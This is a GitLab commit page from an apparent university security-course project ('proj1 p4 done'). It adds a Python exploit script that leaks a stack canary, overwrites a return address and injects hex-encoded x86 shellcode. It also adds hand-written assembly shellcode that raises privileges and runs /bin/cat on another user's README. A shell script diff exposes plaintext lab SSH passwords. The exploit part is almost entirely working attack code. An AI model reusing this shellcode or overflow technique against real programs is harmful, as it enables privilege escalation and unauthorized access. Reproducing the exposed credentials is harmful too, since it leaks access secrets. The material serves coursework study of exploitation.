Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
C
cs161
Manage
Activity
Members
Labels
Plan
Issues
0
Issue boards
Milestones
Wiki
Code
Merge requests
0
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Model registry
Operate
Environments
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Terms and privacy
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
recolic-hust
cs161
Commits
983cbe5f
There was an error fetching the commit references. Please try again later.
Unverified
Commit
983cbe5f
authored
6 years ago
by
Recolic Keghart
Browse files
Options
Downloads
Patches
Plain Diff
proj1 p4 done
parent
3611b52c
No related branches found
No related tags found
No related merge requests found
Changes
3
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
proj1/solution/interact4
+72
-0
72 additions, 0 deletions
proj1/solution/interact4
proj1/solution/payload4.s
+58
-0
58 additions, 0 deletions
proj1/solution/payload4.s
proj1/ssh.sh
+3
-1
3 additions, 1 deletion
proj1/ssh.sh
with
133 additions
and
1 deletion
proj1/solution/interact4
0 → 100755
+
72
−
0
View file @
983cbe5f
#!/usr/bin/env python2
from
scaffold
import
*
### YOUR CODE STARTS HERE ###
import
tempfile
,
subprocess
def
py3in2
(
func_text
,
arg
):
# escape char in arg should be escaped twice.
payload
=
[
'
#/usr/bin/env python3
'
,
'
def _func(arg):
'
]
for
line
in
func_text
.
split
(
'
\n
'
):
payload
.
append
(
'
'
+
line
)
payload
.
append
(
'
with open(
"
/dev/fd/1
"
,
"
w
"
) as f:
\n
f.write(_func(
\'
'
+
arg
+
'
\'
))
\n
'
)
payload
=
'
\n
'
.
join
(
payload
)
with
tempfile
.
NamedTemporaryFile
()
as
tf
:
tf
.
file
.
write
(
payload
)
tf
.
file
.
close
()
output
=
subprocess
.
check_output
([
"
python3
"
,
tf
.
name
],
stderr
=
subprocess
.
PIPE
)
return
output
def
fuck_raddr
(
txt
,
rev
=
True
):
def
fuck8
(
txt
):
assert
(
len
(
txt
)
==
8
)
return
txt
[
6
:
8
]
+
txt
[
4
:
6
]
+
txt
[
2
:
4
]
+
txt
[
0
:
2
]
def
revert
(
txt
):
assert
(
len
(
txt
)
%
8
==
0
)
res
=
""
for
i
in
range
(
int
(
len
(
txt
)
/
8
)):
res
+=
fuck8
(
txt
[
i
*
8
:(
i
+
1
)
*
8
])
return
res
import
binascii
if
rev
:
txt
=
revert
(
txt
)
b
=
binascii
.
unhexlify
(
txt
)
return
b
############# real code begin
payload1
=
'
0123456789ab
\\
x
'
+
'
\n
'
p
.
send
(
payload1
)
reply1
=
p
.
recvline
()
reply_canary
=
reply1
[
13
:
17
]
fill1
=
"
1
"
*
16
canary
=
reply_canary
fill2
=
"
\0
"
*
8
retaddr
=
fuck_raddr
(
"
bffffaf4
"
)
# "bffffaf4"
#payload = fuck_raddr("6a3158cd8089c389c16a4658cd8031c050682f2f6c73682f62696e545b505389e131d2b00bcd800a", False) # SHELLCODE
payload
=
fuck_raddr
(
"
6a3158cd8089c389c16a4658cd8031c050682f636174682f62696e545b506841444d45682f2f524568652f6a7a682f686f6d545950515389e131d2b00bcd80
"
,
False
)
# SHELLCODE
#payload = SHELLCODE
msg
=
fill1
+
canary
+
fill2
+
retaddr
+
payload
+
'
\n
'
#print(msg)
p
.
send
(
msg
)
print
(
p
.
recvline
())
print
(
p
.
recvline
())
print
(
p
.
recvline
())
print
(
p
.
recvline
())
print
(
p
.
recvline
())
# HINT: the last line of your exploit should look something like:
# p.send('A' * m + canary + 'B' * n + rip + SHELLCODE + '\n')
# where m, canary, n and rip are all values you must determine
### YOUR CODE ENDS HERE ###
returncode
=
p
.
end
()
if
returncode
==
-
11
:
print
'
segmentation fault or stack canary!
'
elif
returncode
!=
0
:
print
'
return code
'
,
returncode
This diff is collapsed.
Click to expand it.
proj1/solution/payload4.s
0 → 100644
+
58
−
0
View file @
983cbe5f
//
recolic
:
the
shellcode
provided
by
cs161
doesn
't work.
//
so
I
have
to
rewrite
it
for
proj1
problem4
push
$0
x31
pop
%
eax
int
$0
x80
mov
%
eax
,%
ebx
mov
%
eax
,%
ecx
push
$0
x46
pop
%
eax
int
$0
x80
xor
%
eax
,%
eax
//
\0\0\0\0
push
%
eax
//
/
bin
/
cat
push
$0
x7461632f
push
$0
x6e69622f
//
mov
%
esp
%
ebx
push
%
esp
pop
%
ebx
//
\0\0\0\0
push
%
eax
//
/
hom
e
/
jz
//
RE
ADME
push
$0
x454d4441
push
$0
x45522f2f
push
$0
x7a6a2f65
push
$0
x6d6f682f
//
mov
%
esp
%
ecx
push
%
esp
pop
%
ecx
////
\0\0\0\0
//
push
%
eax
////
/
bin
//
ls
//
push
$0
x736c2f2f
//
push
$0
x6e69622f
//
//
push
%
esp
//
pop
%
ebx
//
\0\0\0\0
NULL
push
%
eax
//
&
arg
[1
]
push
%
ecx
//
&
arg
[0
]
push
%
ebx
mov
%
esp
,%
ecx
xor
%
edx
,%
edx
mov
$0
xb
,%
al
int
$0
x80
This diff is collapsed.
Click to expand it.
proj1/ssh.sh
+
3
−
1
View file @
983cbe5f
...
@@ -7,5 +7,7 @@ else
...
@@ -7,5 +7,7 @@ else
echo
'Connecting localhost...'
echo
'Connecting localhost...'
#sshpass -p r4e8kWpeFC ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no vsftpd@localhost -p 16161
#sshpass -p r4e8kWpeFC ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no vsftpd@localhost -p 16161
#sshpass -p 37ZFBrAPm8 ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no smith@localhost -p 16161
#sshpass -p 37ZFBrAPm8 ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no smith@localhost -p 16161
sshpass
-
p mXFLFR5C62 ssh
-
o
PreferredAuthentications
=
password
-
o
PubkeyAuthentication
=
no brown@localhost
-
p
16161
#sshpass -p mXFLFR5C62 ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no brown@localhost -p 16161
sshpass
-
p cqkeuevfIO ssh
-
o
PreferredAuthentications
=
password
-
o
PubkeyAuthentication
=
no jz@localhost
-
p
16161
fi
fi
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment